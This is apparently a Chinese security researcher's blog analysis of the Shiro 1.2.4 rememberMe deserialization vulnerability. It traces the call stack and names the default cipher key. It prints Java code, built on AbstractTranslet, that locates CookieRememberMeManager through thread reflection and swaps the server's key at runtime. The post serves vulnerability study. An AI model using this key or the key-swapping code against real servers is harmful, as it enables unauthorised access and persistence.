0%

shiro 1.2.4反序列化命令执行漏洞分析

shiro 1.2.4反序列化命令执行漏洞分析

前几天本来想复现fastjson系列的漏洞,但是看了一段时间fastjson的源码变量名称都是x、y、z这种无规则无规范的命名方式,十分头晕,所以打算还是先分析一下shiro的漏洞原理吧。
下方所有实验代码在https://github.com/f19t/shiro_1.2.4env


环境准备:

  • jdk 1.8.0_152
  • idea 2023.3.3
  • shiro-spring 1.2.4
  • Spring boot 2.6.11

反序列化漏洞位置

反序列化的位置在org.apache.shiro.io.DefaultSerializer的deserialize() 方法

我们在反序列化的位置下断点,我们使用写的登录界面成功登录之后,会获得一个rememberMe,然后我们带着rememberMe访问任何一个界面,注意shiro1.2.4我在写spring boot这个程序的时候会获取一个jsessionid,我们需要删掉这个jsessionid,只保留rememberMe的cookie进行访问。

关键堆栈

1
2
3
4
5
6
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)

我们跟进去看一下代码运行的逻辑。

首先resolvePrincipals中调用principals = this.getRememberedIdentity(context);去处理rememberMe,


然后getRememberedIdentity调用getRememberedPrincipals。

之后getRememberedPrincipals又两个关键处理:第一处getRememberedSerializedIdentity进行base64解码。第二处就是将字节进行解密并反序列化。

第一处解码base64

第二处解密并反序列化。

这里注意解密的方法在org.apache.shiro.mgt.AbstractRememberMeManager中,其中key默认为private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);
如果没有设置key。加解密key为默认值。

  • private byte[] encryptionCipherKey;
  • private byte[] decryptionCipherKey;

该类中存在setCipherKey方法,如果设置了setCipherKey那么最终的key为设置的。

这里我们并没有进行设置key所以使用默认的key进行加解密。

至此,我们就可以进行构造反序列化,执行命令,执行回显这里就不多介绍了。

shiro tips

修改key

我们知道获取key是在org.apache.shiro.mgt.AbstractRememberMeManager但是这个类是抽象类,具体实现类在org.apache.shiro.web.mgt.CookieRememberMeManager。

我们用之前写的搜索程序,来搜一下看一下线程里面是否包含CookieRememberMeManager。
这里我又学到一点,fields[i].get(obj).getClass().getName()获取到的可能是org.springframework.web.servlet.DispatcherServlet$$Lambda$572/995785821这种匿名类或者是代理的类,我们通过Class.forName()是获取不到这种类的,所有我把之前写的location代码进行了一处修改,就是把Class clazz = lcat.obj.getClass();直接从obj去获取class。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#location.java
package org.example.spring_shiro;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;
/**
* author: f19t
* Date: 2023/3/6 15:35
*/
public class location extends AbstractTranslet {

public location(Object obj, String clazz, String path) {
this.obj = obj;
this.path = path;
this.clazz = clazz;
}
public Object obj;
public String path;
public String clazz;
public static Queue<location> queue = new LinkedList<location>();//队列保证广度优先搜索
public static Set<Object> set = new HashSet<Object>();//set记录哪些对象被搜索过


public static void search() throws ClassNotFoundException {
location laco = new location(Thread.currentThread(), "org.apache.tomcat.util.threads.TaskThread","TaskThread");
queue.offer(laco);
set.add(Thread.currentThread());
int i=0;
while (queue.size()>0) {
i++;
basic_search1(queue.poll());
// if (i==500){break;}
}
}

public static void basic_search1(location lcat) throws ClassNotFoundException {

Object obj = lcat.obj;
String path = lcat.path;
Class clazz = lcat.obj.getClass();


try {
// Class clazz = Class.forName("org.apache.tomcat.util.threads.TaskThread");
for (; clazz != Object.class; clazz = clazz.getSuperclass()) {

Field fields[] = clazz.getDeclaredFields();

for (int i = 0; i < fields.length; i++) {
fields[i].setAccessible(true);
if (fields[i].get(obj) == null){continue;}


if (!isblack(fields[i].getType().getName()) && fields[i].get(obj) != null && set.add(fields[i].get(obj))) {
if (is_map(fields[i].getType().getSimpleName())) {
Map map = (Map) fields[i].get(obj);
if (map.size() > 0) {
for (int map_num = 0; map_num < map.size(); map_num++) {
Object map_obj = map.get(map_num);
if (map_obj != null && set.add(map_obj) && !isblack(map_obj.getClass().getName())) {
location l = new location(map_obj, map_obj.getClass().getName(), path + "-->" + fields[i].getName() + "[" + map_num + "]"+map_obj.getClass().getName());
// System.out.println(path + "-->" + fields[i].getName() + "[" + map_num + "]");
queue.offer(l);
}

}
}
continue;
} else if (is_list(fields[i].getType().getSimpleName())) {
List list = (List) fields[i].get(obj);
if (list.size() > 0) {
for (int list_num = 0; list_num < list.size(); list_num++) {
Object list_obj = list.get(list_num);
if (list_obj != null && set.add(list_obj) && !isblack(list_obj.getClass().getName())) {
location l = new location(list_obj, list_obj.getClass().getName(), path + "-->" + fields[i].getName() + "[" + list_num + "]"+list_obj.getClass().getName());
// System.out.println(path + "-->" + fields[i].getName() + list_obj.getClass().getName()+"[" + list_num + "]");
queue.offer(l);
}

}
}
continue;
}
else if (fields[i].getType().isArray()) {

// Object objarr1 = fields[i].get(obj);



try {
Object[] arrobj = (Object[])fields[i].get(obj);
if (arrobj.length > 0) {
for (int obj_num = 0; obj_num < arrobj.length; obj_num++) {
Object arr_obj = arrobj[obj_num];
if (arr_obj != null && set.add(arr_obj) && !isblack(arr_obj.getClass().getName())) {
location l = new location(arr_obj, arr_obj.getClass().getName(), path + "-->" + fields[i].getName() + "[" + obj_num + "]"+arr_obj.getClass().getName());
// System.out.println(path + "-->" + fields[i].getClass().getName() + "[" + obj_num + "]");
queue.offer(l);
}

}
}
}catch (Throwable e){
// System.out.println(fields[i].get(obj));
}



continue;
}
if (is_target(fields[i],obj)) {
System.out.println(path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")");
// RequestFacade reqfd = (RequestFacade) fields[i].get(obj);
// Field f = reqfd.getClass().getDeclaredField("request");
// f.setAccessible(true);//因为是protected
// Request req = (Request) f.get(reqfd);//反射获取值
// Field ff = req.getClass().getDeclaredField("response");
// ff.setAccessible(true);
// Response resp = (Response) ff.get(req);
// PrintWriter out = resp.getWriter();
// out.println("wwwwww");
}
location l = new location(fields[i].get(obj), fields[i].get(obj).getClass().getName(), path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")");
queue.offer(l);
// System.out.println(path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")");

}
}
}
} catch (IllegalAccessException ex) {
throw new RuntimeException(ex);
}
}
public static boolean isblack(String s) {
Boolean aBoolean = false;
List<String> black = new ArrayList<String>(Arrays.asList("java.lang.Byte",
"java.lang.Short",
"java.lang.Integer",
"java.lang.Long",
"java.lang.Float",
"java.lang.Boolean",
"java.lang.String",
"java.lang.Class",
"java.lang.Character",

"java.io.File",
"byte",
"short",
"int",
"long",
"double",
"float",
"boolean"
));

for (int i = 0; i < black.size(); i++) {
if (s == black.get(i)) {
aBoolean = true;
return aBoolean;
}
}
return aBoolean;
}
public static boolean is_target(Field f,Object o) throws IllegalAccessException, ClassNotFoundException {
boolean b = false;
if (
// f.getName() == "request"
// || f.get(o).getClass().getName() == "org.apache.catalina.connector.RequestFacade"
// || f.get(o).getClass().getName() == "org.apache.catalina.connector.Request"
// || f.get(o).getClass().isAssignableFrom(Class.forName("org.apache.catalina.connector.Request"))
// || f.get(o).getClass().isAssignableFrom(Class.forName("org.apache.catalina.core.ApplicationHttpRequest"))
// f.get(o).getClass().isAssignableFrom(Class.forName("org.apache.catalina.connector.RequestFacade"))
f.get(o).getClass().getName().contains("CookieRememberMeManager")

// || f.get(o).getClass().isAssignableFrom(Class.forName("org.apache.catalina.connector.RequestFacade"))
// || f.get(o).getClass().getName() == "org.apache.catalina.core.ApplicationHttpRequest"
// || f.get(o).getClass().getName() == "org.apache.coyote.Request"
// || f.get(o).getClass().getSimpleName() == "Request"
// || f.get(o).getClass().getSimpleName() == "HttpServletRequest"
// || f.getName() == "req"

// || f.get(o).getClass().getName() == "org.apache.coyote.RequestGroupInfo")
// && f.get(o).getClass().getName()!="java.lang.Object"

){
return true;
}

return b;

}
public static boolean is_list(String s) {
boolean b = false;
if ("List".equals(s) || "ArrayList".equals(s)){
b = true;
return b;
}
return b;
}
public static boolean is_map(String s) {
boolean b = false;
if ("Map".equals(s) || "HashMap".equals(s)){
b = true;
return b;
}
return b;

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

我们之间在hello这个路径上添加location.search()

登录之后访问hello
我们可以获得线程里面的,这里我只获取到一条,网络上有人获取了两条,估计是版本的问题。

1
2
3
4
5
6
TaskThread--->inheritableThreadLocals(java.lang.ThreadLocal$ThreadLocalMap)-->
table[6]java.lang.ThreadLocal$ThreadLocalMap$Entry--->
value(java.util.HashMap)-->
table[6]java.util.HashMap$Node--->
value(org.apache.shiro.web.mgt.DefaultWebSecurityManager)--->
rememberMeManager(org.apache.shiro.web.mgt.CookieRememberMeManager)

我们尝试修改线程里面的key看一下能否修改全局的key。

首先我们设置两条访问入口路线。

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/hello")
public String hello() throws ClassNotFoundException {
location.search();
return "hello";
}

@GetMapping("/hello1")
public String hello1() throws ClassNotFoundException {

return "hello1";
}

访问hello是获取CookieRememberMeManager并修改key。

1
2
3
4
5
6
if (is_target(fields[i],obj)) {
System.out.println(path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")");
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) fields[i].get(obj);
System.out.println( Base64.encodeToString(cookieRememberMeManager.getDecryptionCipherKey()));
cookieRememberMeManager.setCipherKey(Base64.decode("3AvVhmFLUs0KTA3Kprsdag=="));
}

然后我们在AbstractRememberMeManager的里面下两个断点。

  • convertPrincipalsToBytes //生成rememberMe,会调用到encrypt
  • convertPrincipalsToBytes //解密rememberMe,会调用decrypt

然后我们登录。
断点捕获到之后,我们调用评估表达式输入Base64.encodeToString(getDecryptionCipherKey())

我们发现key为kPH+bIxk5D2deZiIxcaaaA==。是默认的。

之后我们访问一下hello1。
发现key也是kPH+bIxk5D2deZiIxcaaaA==

之后我们在访问一下hello,在访问hello1。
我们发现key已经被改了。

并且我们的登录认证也掉了。需要重新登陆。
我在再重新登陆一下。
我们可以发现重新登陆的key也是修改之后的。

只要不重启,key就是我们修改之后的。

因为我们的key是从线程里获取的Thread.currentThread(),所以我们反序列化的时候就可以进行key的修改。

还有另一种key的修改方式,是通过agent技术里面的Instrumentation,这里就不展开讲了。

加载器

因为headers有长度限制,我们的payload如果复杂,可能过长,导致报错。这种情况,我们可以在rememberMe里面先传加载器。加载器先获取当前线程的request然后通过对body的操作进行复杂操作,这个加载器,我们后面文章在说。